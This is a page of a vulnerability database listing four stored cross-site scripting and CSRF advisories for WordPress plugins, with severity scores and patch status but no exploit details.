Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in iamroody 金数据 allows Stored XSS.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SdeWijs Zoomify embed for WP allows Stored XSS.5.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in George Sexton WordPress Events Calendar Plugin - connectDaily allows Stored XSS.5.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in WP Corner Quick Event Calendar allows Stored XSS.4.9. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
Prev Page 90 of 452 Next

Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40668

Related CWEs

MITRE ATT&CK

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy